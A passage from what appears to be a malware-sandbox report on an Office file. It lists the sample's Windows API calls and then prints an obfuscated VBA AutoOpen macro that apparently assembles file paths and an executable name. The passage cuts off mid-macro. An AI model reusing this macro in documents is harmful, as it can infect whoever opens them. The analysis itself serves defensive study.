  3935. "user32.dll.RegisterMessagePumpHook",
  3936. "uxtheme.dll.IsThemeActive",
  3937. "duser.dll.CreateGadget",
  3938. "duser.dll.SetGadgetMessageFilter",
  3939. "duser.dll.SetGadgetStyle",
  3940. "duser.dll.SetGadgetRootInfo",
  3941. "dwmapi.dll.DwmIsCompositionEnabled",
  3942. "uxtheme.dll.IsAppThemed",
  3943. "uxtheme.dll.GetThemeAppProperties",
  3944. "xmllite.dll.CreateXmlReaderInputWithEncodingName",
  3945. "uxtheme.dll.GetThemeMetric",
  3946. "duser.dll.SetGadgetParent",
  3947. "duser.dll.GetDUserModule",
  3948. "duser.dll.FindStdColor",
  3949. "duser.dll.AttachWndProcW",
  3950. "kernel32.dll.IsProcessorFeaturePresent",
  3951. "kernel32.dll.InterlockedPopEntrySList",
  3952. "kernel32.dll.InterlockedPushEntrySList",
  3953. "kernel32.dll.InterlockedCompareExchange",
  3954. "duser.dll.GetGadgetRect",
  3955. "duser.dll.GetGadgetRgn",
  3956. "duser.dll.GetGadgetTicket",
  3957. "duser.dll.InvalidateGadget",
  3958. "duser.dll.GetGadgetFocus",
  3959. "uxtheme.dll.GetThemeBackgroundContentRect",
  3960. "duser.dll.SetGadgetFocus",
  3961. "duser.dll.DUserSendEvent",
  3962. "duser.dll.SetGadgetRect",
  3963. "uxtheme.dll.#47",
  3964. "uxtheme.dll.BufferedPaintInit",
  3965. "uxtheme.dll.BeginBufferedPaint",
  3966. "uxtheme.dll.BufferedPaintRenderAnimation",
  3967. "uxtheme.dll.GetThemeTransitionDuration",
  3968. "uxtheme.dll.BeginBufferedAnimation",
  3969. "uxtheme.dll.IsThemeBackgroundPartiallyTransparent",
  3970. "uxtheme.dll.DrawThemeParentBackground",
  3971. "uxtheme.dll.DrawThemeBackground",
  3972. "uxtheme.dll.DrawThemeText",
  3973. "uxtheme.dll.EndBufferedAnimation",
  3974. "uxtheme.dll.GetBufferedPaintDC",
  3975. "uxtheme.dll.GetBufferedPaintTargetDC",
  3976. "uxtheme.dll.EndBufferedPaint",
  3977. "duser.dll.FindGadgetFromPoint",
  3978. "duser.dll.ForwardGadgetMessage",
  3979. "duser.dll.SetGadgetFocusEx",
  3980. "uxtheme.dll.BufferedPaintStopAllAnimations",
  3981. "uxtheme.dll.BufferedPaintUnInit",
  3982. "duser.dll.DisableContainerHwnd",
  3983. "duser.dll.DUserFlushMessages",
  3984. "duser.dll.DUserFlushDeferredMessages",
  3985. "duser.dll.DeleteHandle",
  3986. "user32.dll.UnregisterMessagePumpHook",
  3987. "ole32.dll.OleUninitialize",
  3988. "mso.dll.#4215",
  3989. "mso.dll.#8200",
  3990. "mso.dll.#382",
  3991. "mso.dll.#2025",
  3992. "mso.dll.#791",
  3993. "mso.dll.#1848",
  3994. "mso.dll.#9374",
  3995. "ole32.dll.CoGetCallState",
  3996. "ole32.dll.CoGetActivationState",
  3997. "advapi32.dll.RegisterWaitChainCOMCallback",
  3998. "mso.dll.#5286",
  3999. "mso.dll.#6368",
  4000. "mso.dll.#1010",
  4001. "mso.dll.#7979",
  4002. "mso.dll.#8549",
  4003. "mso.dll.#8970",
  4004. "mso.dll.#9198",
  4005. "mso.dll.#4795",
  4006. "mso.dll.#1865",
  4007. "mso.dll.#9688",
  4008. "mso.dll.#320",
  4009. "advapi32.dll.RegDeleteKeyA",
  4010. "user32.dll.DestroyCursor",
  4011. "mso.dll.#7173",
  4012. "mso.dll.#8511",
  4013. "mso.dll.#3299",
  4014. "mso.dll.#7001",
  4015. "mso.dll.#8140",
  4016. "mso.dll.#3913",
  4017. "user32.dll.PeekMessageA",
  4018. "mso.dll.#1380",
  4019. "mso.dll.#9500",
  4020. "user32.dll.TranslateMessage",
  4021. "user32.dll.DispatchMessageA",
  4022. "user32.dll.DispatchMessageW",
  4023. "mso.dll.#999",
  4024. "mso.dll.#287",
  4025. "mso.dll.#1575",
  4026. "mso.dll.#5034",
  4027. "mso.dll.#1517",
  4028. "mso.dll.#718",
  4029. "mso.dll.#3351",
  4030. "mso.dll.#4175",
  4031. "mso.dll.#8672",
  4032. "mso.dll.#1990",
  4033. "mso.dll.#3051",
  4034. "mso.dll.#1819",
  4035. "mso.dll.#1419",
  4036. "oleaut32.dll.#147",
  4037. "gdi32.dll.GetCurrentObject",
  4038. "gdi32.dll.BitBlt",
  4039. "gdi32.dll.GetClipBox",
  4040. "gdi32.dll.StretchDIBits",
  4041. "riched20.dll.REExtendedRegisterClass",
  4042. "user32.dll.DefWindowProcW",
  4043. "user32.dll.HideCaret",
  4044. "user32.dll.ShowCaret",
  4045. "user32.dll.GetWindowTextLengthW",
  4046. "user32.dll.EnableWindow",
  4047. "msctf.dll.SetInputScope",
  4048. "user32.dll.GetWindowRgn",
  4049. "gdi32.dll.CreateCompatibleBitmap",
  4050. "gdi32.dll.SaveDC",
  4051. "gdi32.dll.SetPixel",
  4052. "gdi32.dll.GetPixel",
  4053. "gdi32.dll.RestoreDC",
  4054. "mso.dll.#806",
  4055. "mso.dll.#4908",
  4056. "mso.dll.#8439",
  4057. "mso.dll.#2736",
  4058. "gdi32.dll.GetTextAlign",
  4059. "gdi32.dll.ExtTextOutW",
  4060. "mso.dll.#8122",
  4061. "mso.dll.#2114",
  4062. "mso.dll.#6558",
  4063. "gdi32.dll.GetFontData",
  4064. "usp10.dll.ScriptItemizeOpenType",
  4065. "usp10.dll.ScriptLayout",
  4066. "usp10.dll.ScriptShapeOpenType",
  4067. "usp10.dll.ScriptPlaceOpenType",
  4068. "mso.dll.#1318",
  4069. "gdi32.dll.GetTextExtentExPointWPri",
  4070. "mso.dll.#8395",
  4071. "mso.dll.#379",
  4072. "mso.dll.#6338",
  4073. "mso.dll.#7964",
  4074. "mso.dll.#1437",
  4075. "mso.dll.#1427",
  4076. "mso.dll.#6137",
  4077. "winmm.dll.timeGetTime",
  4078. "mso.dll.#7578",
  4079. "mso.dll.#8483",
  4080. "mso.dll.#3055",
  4081. "user32.dll.GetForegroundWindow",
  4082. "user32.dll.SetForegroundWindow",
  4083. "user32.dll.GetWindowDC",
  4084. "gdi32.dll.SetLayout",
  4085. "gdi32.dll.RectVisible",
  4086. "gdi32.dll.GetClipRgn",
  4087. "gdi32.dll.ExcludeClipRect",
  4088. "gdi32.dll.SelectClipRgn",
  4089. "user32.dll.GetClassNameA",
  4090. "user32.dll.IsWindowRedirectedForPrint",
  4091. "gdi32.dll.CreateRectRgnIndirect",
  4092. "user32.dll.GetUpdateRgn",
  4093. "gdi32.dll.GetRgnBox",
  4094. "user32.dll.ValidateRect",
  4095. "user32.dll.BeginPaint",
  4096. "user32.dll.EndPaint",
  4097. "mso.dll.#3624",
  4098. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  4099. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  4100. "gdi32.dll.TranslateCharsetInfo",
  4101. "mso.dll.#3300",
  4102. "mso.dll.#7465",
  4103. "mso.dll.#6247",
  4104. "mso.dll.#7766",
  4105. "mso.dll.#1911",
  4106. "mso.dll.#8802",
  4107. "gdi32.dll.SetWindowOrgEx",
  4108. "mso.dll.#732",
  4109. "mso.dll.#5804",
  4110. "mso.dll.#2155",
  4111. "mso.dll.#9465",
  4112. "mso.dll.#434",
  4113. "user32.dll.GetMessageExtraInfo",
  4114. "user32.dll.TrackMouseEvent",
  4115. "mso.dll.#4746",
  4116. "user32.dll.GetAsyncKeyState",
  4117. "mso.dll.#5341",
  4118. "mso.dll.#9528",
  4119. "user32.dll.GetCapture",
  4120. "user32.dll.WindowFromPoint",
  4121. "user32.dll.GetInputState",
  4122. "mso.dll.#8461",
  4123. "user32.dll.GetClipboardOwner",
  4124. "user32.dll.SendNotifyMessageW",
  4125. "mso.dll.#1422",
  4126. "user32.dll.MsgWaitForMultipleObjectsEx",
  4127. "user32.dll.GetScrollPos",
  4128. "mso.dll.#629",
  4129. "advapi32.dll.NotifyServiceStatusChangeW",
  4130. "user32.dll.IsHungAppWindow",
  4131. "advapi32.dll.CryptAcquireContextA",
  4132. "cryptsp.dll.CryptAcquireContextA",
  4133. "advapi32.dll.CryptGenKey",
  4134. "cryptsp.dll.CryptGenKey",
  4135. "advapi32.dll.CryptImportKey",
  4136. "cryptsp.dll.CryptImportKey",
  4137. "advapi32.dll.CryptExportKey",
  4138. "cryptsp.dll.CryptExportKey",
  4139. "advapi32.dll.CryptDestroyKey",
  4140. "cryptsp.dll.CryptDestroyKey",
  4141. "ieawsdc.dll.HrExtractTemplateToPath",
  4142. "advapi32.dll.CryptCreateHash",
  4143. "cryptsp.dll.CryptCreateHash",
  4144. "advapi32.dll.CryptSetHashParam",
  4145. "advapi32.dll.CryptHashData",
  4146. "cryptsp.dll.CryptHashData",
  4147. "advapi32.dll.CryptGetHashParam",
  4148. "cryptsp.dll.CryptGetHashParam",
  4149. "advapi32.dll.CryptDestroyHash",
  4150. "cryptsp.dll.CryptDestroyHash",
  4151. "msi.dll.#90",
  4152. "crypt32.dll.CryptQueryObject",
  4153. "wintrust.dll.CryptSIPPutSignedDataMsg",
  4154. "wintrust.dll.CryptSIPGetSignedDataMsg",
  4155. "cryptsp.dll.CryptGetDefaultProviderW",
  4156. "cryptsp.dll.CryptAcquireContextW",
  4157. "crypt32.dll.CertEnumCertificatesInStore",
  4158. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  4159. "cryptsp.dll.CryptReleaseContext",
  4160. "wintrust.dll.WinVerifyTrust",
  4161. "wintrust.dll.WintrustCertificateTrust",
  4162. "wintrust.dll.SoftpubAuthenticode",
  4163. "wintrust.dll.SoftpubInitialize",
  4164. "wintrust.dll.SoftpubLoadMessage",
  4165. "wintrust.dll.SoftpubLoadSignature",
  4166. "wintrust.dll.SoftpubCheckCert",
  4167. "wintrust.dll.SoftpubCleanup",
  4168. "wintrust.dll.CryptSIPVerifyIndirectData",
  4169. "advapi32.dll.RegDeleteValueW",
  4170. "user32.dll.IsClipboardFormatAvailable",
  4171. "user32.dll.GetCursorInfo",
  4172. "user32.dll.GetMessagePos",
  4173. "user32.dll.ScreenToClient",
  4174. "user32.dll.SetFocus",
  4175. "user32.dll.GetDesktopWindow",
  4176. "user32.dll.FindWindowExW",
  4177. "mso.dll.#8837",
  4178. "advapi32.dll.ConvertSidToStringSidW",
  4179. "advapi32.dll.SaferiSearchMatchingHashRules",
  4180. "wintrust.dll.WTHelperProvDataFromStateData",
  4181. "wintrust.dll.WTHelperGetProvSignerFromChain",
  4182. "crypt32.dll.CertVerifyCertificateChainPolicy",
  4183. "crypt32.dll.CertCloseStore",
  4184. "cabinet.dll.#23",
  4185. "mso.dll.#1455",
  4186. "user32.dll.GetAncestor",
  4187. "user32.dll.LoadImageW",
  4188. "user32.dll.CreateWindowExW",
  4189. "user32.dll.EnableScrollBar",
  4190. "user32.dll.ShowScrollBar",
  4191. "user32.dll.SetParent",
  4192. "user32.dll.KillTimer",
  4193. "user32.dll.ClientToScreen",
  4194. "user32.dll.MoveWindow",
  4195. "gdi32.dll.GetViewportExtEx",
  4196. "gdi32.dll.GetWindowExtEx",
  4197. "gdi32.dll.GetTextCharset",
  4198. "gdi32.dll.GetMapMode",
  4199. "gdi32.dll.GetLayout",
  4200. "oleaut32.dll.SysAllocString",
  4201. "oleaut32.dll.SysStringLen",
  4202. "uxtheme.dll.GetThemePartSize",
  4203. "user32.dll.GetMessageW",
  4204. "gdi32.dll.IntersectClipRect",
  4205. "gdi32.dll.SetTextColor",
  4206. "gdi32.dll.SetBkMode",
  4207. "gdi32.dll.SetTextAlign",
  4208. "gdi32.dll.ExtSelectClipRgn",
  4209. "gdi32.dll.GetTextColor",
  4210. "user32.dll.WaitMessage",
  4211. "wininet.dll.InternetGetConnectedState",
  4212. "rasapi32.dll.RasConnectionNotificationW",
  4213. "gdi32.dll.GdiFlush",
  4214. "sechost.dll.NotifyServiceStatusChangeA",
  4215. "osppcext.dll.SLActivateProduct",
  4216. "osppcext.dll.SLGetTokenActivationGrants",
  4217. "osppcext.dll.SLGetTokenActivationCertificates",
  4218. "osppcext.dll.SLGenerateTokenActivationChallenge",
  4219. "osppcext.dll.SLSignTokenActivationChallenge",
  4220. "osppcext.dll.SLDepositTokenActivationResponse",
  4221. "osppcext.dll.SLFreeTokenActivationGrants",
  4222. "osppcext.dll.SLFreeTokenActivationCertificates",
  4223. "mso.dll.#7531",
  4224. "user32.dll.EnumThreadWindows",
  4225. "user32.dll.EnumWindows",
  4226. "user32.dll.PostMessageA",
  4227. "mso.dll.#6960",
  4228. "mso.dll.#7892",
  4229. "mso.dll.#7931",
  4230. "mso.dll.#3837",
  4231. "mso.dll.#8398",
  4232. "mso.dll.#2477",
  4233. "msproof7.dll.DllGetClassObject",
  4234. "msproof7.dll.DllCanUnloadNow",
  4235. "mso.dll.#4172",
  4236. "mso.dll.#1439",
  4237. "msi.dll.DllGetVersion",
  4238. "mso.dll.#3544",
  4239. "mso.dll.#900",
  4240. "advapi32.dll.CryptReleaseContext",
  4241. "mso.dll.#8662",
  4242. "mso.dll.#1885",
  4243. "msptls.dll.?LsEnumLine@Ptls6@@YGJPAVCLsLine@1@HHPBUtagLSPOINT@1@@Z",
  4244. "mso.dll.#832",
  4245. "mso.dll.#1266",
  4246. "gdi32.dll.GetStockObject",
  4247. "mso.dll.#6501",
  4248. "riched20.dll.REMSOHInst",
  4249. "mso.dll.#511",
  4250. "mso.dll.#8118",
  4251. "gdi32.dll.GetGlyphIndicesW",
  4252. "mso.dll.#3702",
  4253. "mso.dll.#3484",
  4254. "mso.dll.#1966",
  4255. "mso.dll.#8060",
  4256. "mso.dll.#844",
  4257. "mso.dll.#9566",
  4258. "mso.dll.#111",
  4259. "mso.dll.#4191",
  4260. "mso.dll.#3802",
  4261. "mso.dll.#6982",
  4262. "mso.dll.#8800",
  4263. "mso.dll.#3572",
  4264. "mso.dll.#167",
  4265. "mso.dll.#5737",
  4266. "mso.dll.#590",
  4267. "mso.dll.#3758",
  4268. "msgr3en.dll.CheckVersion",
  4269. "msgr3en.dll.#29",
  4270. "msgr3en.dll.#30",
  4271. "msgr3en.dll.#31",
  4272. "msgr3en.dll.#32",
  4273. "msgr3en.dll.#33",
  4274. "msgr3en.dll.#34",
  4275. "msgr3en.dll.#35",
  4276. "msgr3en.dll.#45",
  4277. "msgr3en.dll.#46",
  4278. "msgr3en.dll.#47",
  4279. "msgr3en.dll.#48",
  4280. "msgr3en.dll.#51",
  4281. "msgr3en.dll.#50",
  4282. "msgr3en.dll.#49",
  4283. "msgr3en.dll.#43",
  4284. "msgr3en.dll.#41",
  4285. "msgr3en.dll.#42",
  4286. "msgr3en.dll.#44",
  4287. "msgr3en.dll.#39",
  4288. "msgr3en.dll.#40",
  4289. "msgr3en.dll.#36",
  4290. "msgr3en.dll.#38",
  4291. "msgr3en.dll.#37",
  4292. "msgr3en.dll.#56",
  4293. "msgr3en.dll.#52",
  4294. "msgr3en.dll.#53",
  4295. "msgr3en.dll.#57",
  4296. "msgr3en.dll.#58",
  4297. "msgr3en.dll.#59",
  4298. "mso.dll.#2561",
  4299. "mso.dll.#1414",
  4300. "mso.dll.#8202",
  4301. "mso.dll.#7189",
  4302. "mso.dll.#2738",
  4303. "mso.dll.#8691",
  4304. "mso.dll.#6079",
  4305. "mso.dll.#7167",
  4306. "mso.dll.#7163",
  4307. "mso.dll.#333",
  4308. "mso.dll.#1785",
  4309. "mso.dll.#5919",
  4310. "user32.dll.RemovePropW",
  4311. "mso.dll.#5973",
  4312. "mso.dll.#2014",
  4313. "mso.dll.#9668",
  4314. "mso.dll.#8472",
  4315. "mso.dll.#7174",
  4316. "mso.dll.#6049",
  4317. "mso.dll.#2294",
  4318. "mso.dll.#2968",
  4319. "mso.dll.#1961",
  4320. "mso.dll.#2281",
  4321. "mso.dll.#2628",
  4322. "mso.dll.#1401",
  4323. "mso.dll.#3425",
  4324. "mso.dll.#5291",
  4325. "mso.dll.#1718",
  4326. "mso.dll.#4777",
  4327. "mso.dll.#1914",
  4328. "advapi32.dll.RegDeleteKeyW",
  4329. "mso.dll.#235",
  4330. "mso.dll.#4416",
  4331. "mso.dll.#9398",
  4332. "mso.dll.#1442",
  4333. "mso.dll.#4388",
  4334. "mso.dll.#8022",
  4335. "mso.dll.#8757",
  4336. "mso.dll.#237",
  4337. "mso.dll.#4214",
  4338. "mso.dll.#884",
  4339. "mso.dll.#121",
  4340. "mso.dll.#1712",
  4341. "mso.dll.#9344",
  4342. "mso.dll.#4203",
  4343. "mso.dll.#3974",
  4344. "mso.dll.#4882",
  4345. "mso.dll.#2449",
  4346. "mso.dll.#9199",
  4347. "mso.dll.#7948",
  4348. "mso.dll.#2767",
  4349. "mso.dll.#3209",
  4350. "mso.dll.#4083",
  4351. "mso.dll.#292",
  4352. "mso.dll.#795",
  4353. "mso.dll.#8349",
  4354. "mso.dll.#8796",
  4355. "mso.dll.#3930",
  4356. "mso.dll.#9105",
  4357. "mso.dll.#2427",
  4358. "mso.dll.#8116",
  4359. "mso.dll.#6156",
  4360. "user32.dll.UnregisterClassW",
  4361. "usp10.dll.ScriptFreeCache",
  4362. "mso.dll.#7002",
  4363. "mso.dll.#186",
  4364. "user32.dll.PostQuitMessage",
  4365. "mso.dll.#591",
  4366. "mso.dll.#2272",
  4367. "mso.dll.#4284",
  4368. "msptls.dll.?LsDestroyContext@Ptls6@@YGJPAUlscontext@1@@Z",
  4369. "mso.dll.#4426",
  4370. "mso.dll.#8473",
  4371. "mso.dll.#8106",
  4372. "mso.dll.#8876",
  4373. "mso.dll.#6185",
  4374. "vbe7.dll.DllVbeTerm",
  4375. "user32.dll.IsMenu",
  4376. "user32.dll.UnregisterClassA",
  4377. "ole32.dll.DllDebugObjectRPCHook",
  4378. "vbe7.dll.DllCanUnloadNow",
  4379. "mso.dll.#4210",
  4380. "mso.dll.#8586",
  4381. "mso.dll.#8004",
  4382. "mso.dll.#6078",
  4383. "mso.dll.#815",
  4384. "mso.dll.#187",
  4385. "mso.dll.#5625",
  4386. "mso.dll.#8316",
  4387. "mso.dll.#7598",
  4388. "ws2_32.dll.#116",
  4389. "user32.dll.RemoveClipboardFormatListener",
  4390. "user32.dll.UnregisterPowerSettingNotification",
  4391. "powrprof.dll.PowerSettingUnregisterNotification",
  4392. "shell32.dll.#155",
  4393. "gdiplus.dll.GdiplusShutdown",
  4394. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  4395. "winsta.dll.WinStationUnRegisterConsoleNotification",
  4396. "mso.dll.#2482",
  4397. "mso.dll.#5458",
  4398. "advapi32.dll.UnregisterTraceGuids"
  4399. ]
  4400.  
  4401. [*] Static Analysis: {
  4402. "office": {
  4403. "Macro": {
  4404. "Code": {
  4405. "Macro2": [
  4406. [
  4407. "zjRynF.bas",
  4408. " Public Declare PtrSafe Sub Sleep Lib \"kernel32\" (ByVal Milliseconds As LongPtr)\n \n #If Win64 Then\n Public Declare PtrSafe Function GetCursorPos Lib \"user32\" (lpPoint As mAMxXtH) As LongLong\n #Else\n Public Declare Function GetCursorPos Lib \"user32\" (lpPoint As mAMxXtH) As Long\n #End If\n\nType mAMxXtH\n jdFtJhQ As Long\n grAXAve As Long\nEnd Type\n\n\nPublic Function jUYirTK(nVupnbT As String) As Object\nSet jUYirTK = Nothing\nDim ihuemsE As String\nDim mjrNSIm As Integer\nmjrNSIm = 120\nihuemsE = \"quit\"\nIf mjrNSIm Mod 10 = 0 Then\nihuemsE = nVupnbT\nSet jUYirTK = CreateObject(ihuemsE)\nEnd If\nEnd Function\n\nSub AutoOpen()\naddressolympuspolandproblemsministerclean = 782 Xor 425\nminimumbelizelabelsxpinvitationestoniaadvertisercompetitionropecovering = Space(77)\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = \"\"\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"picksinsertionatashapedhipaquaticbroadlaptop\\busairfarekwreactionsgratefulcoverexplain\", 45, 4)\ndvdsphenomenonfioricetdevotedwavcontributingadministratorsnursebiodiversityrice = LTrim(\"shorehughgravitycpampland\")\nDim princehandjobsmetadataduicartoonsexpiresheavywakemetallica As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"eni\")\npersonalizedsuspendedbulletinstrongerpissvanillauvdollupdate = RTrim(\"trulyclassstopsfelt\")\nFor representingchristineintegerhighlightsfieldspopulation = 6059 To 8633\nDim luxembourgsubscribeverseflashingpediatric As String\nDim wykittyciaotrackusagecan As String\nNext representingchristineintegerhighlightsfieldspopulation\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"combatcatdubaiwhengorgeoushillautomaticallylegalclarkenarrowssaldiametercorrespondencesystemtribeshelicopter\", 61, 4)\nfdrelateintensiverentbesidechargercarrierallocationcomicstrim = RTrim(\"pairphenterminevictoryharrisonqueenawfulcombiningcrisisspeeches\")\nexperimenttellsshipmentproposalsgallerieswarriorbare = 925 Xor 401\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"nawol\")\nDim prominentinjectionbelievedboliviareducingreallythomasmonkeygivessubmitted As String\nfavorspassingeconomicrecommenddatedcanadian = StrReverse(\"youthwhiteswimmingrelativelywebcastspecifiedencodingrows\")\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"cayec\")\nDim tasksoperatorstheoriessrcnestedmanchesterexperiencesharpdaddy As Boolean\nDim gridpressdomainsseatthumbnail As String\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + Mid(\"assistantincominggreatestrankbedroomgpsheralddielegsstockholmhtmanfirmcovemountspositionintimateincludedbangkokbi\", 62, 5)\ndemandpiratesaxislookingholdemfancyxlpostsyntheticcharacterization = Not (35 > 466)\nDim designedansweringwildlifewellsabsolutelyqualitiespurchased() As Byte\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"ren\")\nmountainsplusreferralsdirectiveworkshopneedsgcsharestrainedensuring = LTrim(\"reductionzeroparticipantpoemenhancing\")\nDim holidayivorydifficultyrewardtestswardhomecalculatedancientcontrollers As Integer\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"mtoh\")\nDim outletgottensyssillyparticularlyissnbettydefencey As String\nDim jimmyauthenticationhuntingtoncompleteuniquecrazychesterbritannicahandheld As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"lklia\")\nDim shapeturbosinkolspecifysoftballfevermas As Boolean\nDim thingsbeefmattresslatvia As Object\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"nie\")\nDim coursesclearingfreightcolebondageemilypostexceedlodgeleather As Object\n'leaddkusualbroadcastinghundredgasoline\nratiodrewbufferdocumentedmooddonationslettingvaccinebanned = ratiodrewbufferdocumentedmooddonationslettingvaccinebanned + StrReverse(\"exe.\")\nDim earlyharmonyhamburgastrologyeliminationbibliographictalkscomppeevirgin As String\nsupposealdefensivegrantsmotherboardusdmilkarnold = Chr(60)\npoundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman = \"\"\npoundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman = poundfieldcontinuouslytravesticomparingboatinglimitationsdelayednewman + StrReverse(\"pmt\")\nDim livesavannahajemergingrevelationrefused As Object\ncurriculumbreastsheadphonesequalassists = Chr(168)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = \"\"\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"sissa\")\nagenciessharonkauthoritiesfrontpageart = LTrim(\"nestsurvivorsibmimpactmotivatedcommitteesetwarningtin\")\nDim offsetcornellveteranworkoutcomplex As Object\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"ecnat\")\nDim fountainbucksverseencryptionpowderballaccuraterickupcoming As Integer\nbuildingtotalmaltamortgagestomatoessigneddevelopmentspublicationforeverresponsibility = Chr(35)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"maritimevacbssheeppersquantumapplicantendedtypicallyhaloricobodiespartially\", 19, 4)\ninfectiousbeofferingstransexualesforty = Not (952 < 262)\nDim developersoutletsgenevacommunitiesemotional As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"conflictgraduatesconfigprovidestyleonalisonsydneyksprofessiontampamotornorwegianlogisticsgtk\", 36, 5)\nnuttenbangactivelyasylumabu = 7185\nDim hayescomputationoracleworld As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"adez\")\nDim japerlfinkeencrossearliestmillionsquizzes As Variant\nmatchedfraudgovernanceavailability = Not (436 > 815)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"fsb\")\nDim sunrisecontainersillegaldeltabrianapparentlypleasureenglandlimitations As Boolean\npackagingeveningfishingcolors = 757 Mod 284\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"tna\")\nclimbdiffmixedattentiondel = Not (825 < 111)\nbrakesboothprintingtittenfairylakescruciallearnedeffectworry = RTrim(\"apollocharterhdchristianitygatemillionslegallyeternalsimilarly\")\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"citsa\")\nplainjoiningarlingtonproductspalmerlaterchroniclesict = StrReverse(\"fencecourtthanseparationworthyparagraphs\")\nbusyclientholidayoscarfolksirandifficult = Chr(146)\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + Mid(\"virusescornwallcreatereceivingfeaturedsuggestsmonstermatrixassistantagedlcdwhrespondentssustainabilityhayadministrationheadquartersmarketingfabulousdrinkstolerancedan\", 73, 5)\nembassycandlesbiggerwoodhabits = 4684\nDim voyeurtaxationcontrolxanaxexecutebabeimprovingextendinghtsending As Boolean\ncandleagreementsfurjerusalemmightlithuaniaxboxkinds = candleagreementsfurjerusalemmightlithuaniaxboxkinds + StrReverse(\"o\")\nDim aspectprotesttranscriptionpendanttherestuckthreats As Object\noptioneagleridersknock = StrReverse(\"vintagealsococksguildbehindscannerbuilderareasellerscalculation\")\ntrapcottagesseniorleadershipvisitinginvention = \"\"\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"adjustablehamptonessexpersonalbedbiologymarveltomatomilerespectedresultedcruzfujitsutracytobagofreshshapepatricia\", 53, 4)\nDim collapsegasolinemarinaproducts As String\nshowtimesthemselvesentrepreneurpropertiescontributionsdiscipline = 759 Xor 391\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"eega\")\nrevisedradarwendyalertmetalchelseacandle = 664 Xor 592\ninformativeapprovedorganmagneticbirthdaytomato = 368 Xor 798\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"rkoob\")\ngordonwarrantnumbersupslibertychoicethrownstill = 5397\ncitizenpoliticiansdinnerfundamentalquantitysoajerusalemdifferent = 57 Mod 352\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"openingfuturecausebowlkentuckyintegratingflushreadingdespiteespsecuritycircumstancesinclusivemanagedbaybiologicalskilledsacramentobdsm\", 61, 3)\nDim rcozoneacneexecutive As Variant\nyieldsgonnaamericaromanceofflineourvegetarianemployeestied = Space(91)\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + StrReverse(\"dno\")\nDim directrdbehindorangestarterprotectionautoorientationvisibilityaspect As Variant\nespeciallycardiovascularexplicitlynodeseospaso = Array(\"sansunifieddxwheretacklesm\", \"volvovaliumyesterminationbasisqueenssolarisbottles\", \"cohenapniccapitalbinary\", \"nearestvoicesappropriationscompetitionsomaliaram\", \"slaveupgradebroadbandcontrary\", \"gordoncompilerflashclosesttelecomfirewireforwardlenders\", \"bytequotationsworldsexstoryeconomicslastingcubicstrikes\", \"explainedstillpayingcomparearthurlessonscbprovinceyarnmarvel\")\ntrapcottagesseniorleadershipvisitinginvention = trapcottagesseniorleadershipvisitinginvention + Mid(\"pornopassengerschristopherpayablecrucialdiningstepsplayboyupdatesconteplacingdumpunderstoodpills\", 66, 5)\nDim videospromotingdeterminesreflectgeological As Object\nheadsdealtimejohnsnotenamesintendedmillermunicipality = Array(\"pullingequationminimumkeep\", \"bloombrooklyndiesspyeligibilityeossocksresidencemenubright\", \"torturepickedliftspecialtyprovidinghoping\", \"neilmothersfeedsrouge\", \"invisiblediameteroutstandingsessionsassign\", \"tripshonorattemptingexcessiveliberty\", 